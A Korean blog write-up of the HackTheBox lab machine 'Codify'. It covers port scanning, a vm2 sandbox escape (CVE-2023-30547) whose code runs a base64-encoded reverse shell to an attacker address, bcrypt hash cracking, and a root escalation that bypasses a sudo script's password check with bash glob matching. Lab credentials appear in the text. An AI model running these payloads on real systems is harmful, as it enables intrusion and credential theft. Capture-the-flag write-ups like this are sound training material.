Post

HTB Codify

HackTheBox 오픈베타 시즌3의 6번째 머신으로 Linux 환경의 쉬움 난이도로 출시되었다. 이번 포스팅에서는 Codify 머신의 해결 과정을 기록한다.

Recon

PortScan

발급받은 머신을 대상으로 포트 스캔 결과, 22tcp, 80/tcp 포트만 식별되며 codify.htb라는 호스트로 식별된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
╭─juicemon@juicemon-mac ~
╰─$ nmap -sCV -p 22,80 10.129.82.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 12:31 KST
Nmap scan report for 10.129.82.139
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds

WEB

codify.htb:80

HTTP 웹서비스 접근 시 아래와 같이 nodejs 코드를 웹에서 테스트할 수 있는 플랫폼으로 확인되며, 샌드박싱 기술을 적용했다고한다.

Desktop View

내용을 조금 더 확인해보면 nodejs 코드를 테스트할 때 child_process, fs와 같은 모듈들은 사용이 불가능하다고한다.

Desktop View

위에서 코드를 웹에서 실행할때 해당 코드는 샌드박스 환경에서 실행된다고했다. 관련된 내용을 /about에서 확인할 수 있고 해당 버전이 실제 서버에서 동작중인 코드에 적용된 vm2 모듈의 버전일지 모르겠지만, 링크된 URL을 통해 모듈의 버전정보도 식별할 수 있었다.

Desktop View

Foothold

vm2 Sandbox Escape (CVE-2023-30547)

vm2 3.9.16에 대한 취약점을 탐색하던 중 Sandbox Escape 취약점인 CVE-2023-30547를 확인할 수 있었고 해당 취약점의 PoC 코드를 codify 웹서비스에서 제공하는 코드 테스트 기능에 적용하니 샌드박스에서 탈출하여 샌드박스 계쩡이 아닌 호스트 계정으로 명령이 실행된 것을 확인할 수 있었다.

Desktop View

Users

joshua

위에서 vm2 Sandbox Escape를 통해 svc 계정으로 코드 실행이 가능한 것을 확인하였고, 코드를 수정하여 리버스 쉘을 획득을 시도한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjU1IiwzMDAwMCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJw== | base64 -d | bash');
}
`

console.log(vm.run(code));

위 코드를 실행하기 전에 실행한 공격자 리스너 포트로 svc의 쉘을 전달받을 수 있었다.

1
2
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)

svc 계정의 쉘을 획득 후 시스템을 탐색하던 과정에서 /var/www/contact/tickets.db 를 확인할 수 있었고, sqlite3 DB 파일로 확인되었으며 패스워드가 적용되어있지 않아 내용을 확인할 수 있었다.

그 내용 중 users 테이블에서 아래와 같이 joshua 계정의 패스워드 해시가 확인할 수 있었다.

Desktop View

확보한 해시는 hashcat wiki를 통해 어떤 해시인지 식별이 가능했고, 무지성으로 john the ripper를 통해 크랙을 시도해도 쉽게 크랙이 가능했다.

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop/Codify]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)
1g 0:00:00:20 DONE (2023-11-05 00:16) 0.04764g/s 65.17p/s 65.17c/s 65.17C/s incubus..danica
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Privilege Escalation

탈취한 Bcrypt 해시를 크랙하여 joshua 계정으로 ssh 접근이 가능했고, 해당 계정에서 sudo 권한을 확인하여 아래와 같이 특정 쉘 스크립트를 실행할 수 있는것으로 파악되었다.

1
2
3
4
5
6
7
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

mysql-backup.sh 스크립트 내용을 보면 MySQL 유저 root의 패스워드를 검증하여 인증하는 로직이 존재한다. 패스워드는 /root/.creds에 있어 현재 계정의 권한으로 확인할 수 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

유저에게 입력받은 값인 $USER_PASS와 root 계정의 패스워드가 저장된 변수인 $DB_PASS를 if문으로 비교하는 코드를 주목해야한다. Bash Script Comparison Operators를 확인해보면 == 연산자를 사용했을 경우 아래와 같은 케이스로 비교가 될 수 있다는 케이스를 확인할 수 있었다.

1
2
3
4
5
[[ $a == z* ]]   # True if $a starts with an "z" (pattern matching).
[[ $a == "z*" ]] # True if $a is equal to z* (literal matching).

[ $a == z* ]     # File globbing and word splitting take place.
[ "$a" == "z*" ] # True if $a is equal to z* (literal matching).

위 내용을 통해 입력 가능한 모든 문자를 시작으로하여 *를 입력해 인증을 우회할 수 있도록 스크립트를 제작하였다.

1
2
3
4
5
6
7
8
9
#!/bin/bash

input_string="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+[]{}|;:,.<>?/="
string_length=${#input_string}

for (( i = 0; i < string_length; i++ )); do
    current_char="${input_string:$i:1}"
    echo "$current_char*" | sudo /opt/scripts/mysql-backup.sh
done

mysql-backup.sh 스크립트를 보더라도 백업 파일을 저장하는것 외 크게 권한 상승에 도움될 만한 부분은 없었지만, root 계정의 패스워드로 mysqldump를 실행한다는 점에서 아이디어를 얻어 pspy64를 통해 프로세스를 모니터링하면서 위에서 작성한 스크립트를 다시 동작하니 아래와 같이 root 권한으로 동작하는 커멘드 라인을 읽을 수 있엇고 그중 /root/.creds의 내용인 root 계정의 패스워드도 식별할 수 있었다.

1
2
3
4
2023/11/05 04:44:40 CMD: UID=0    PID=3055   | /usr/bin/mkdir -p /var/backups/mysql
2023/11/05 04:44:40 CMD: UID=0    PID=3057   | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2023/11/05 04:44:40 CMD: UID=0    PID=3060   | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
2023/11/05 04:44:41 CMD: UID=0    PID=3063   | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys

해당 패스워드를 통해 root로 로그인이 가능하였고 이번 머신을 마무리 할 수 있었다.

1
2
3
4
joshua@codify:/tmp$ su -
Password:
root@codify:~# id
uid=0(root) gid=0(root) groups=0(root)

This post is licensed under CC BY 4.0 by the author.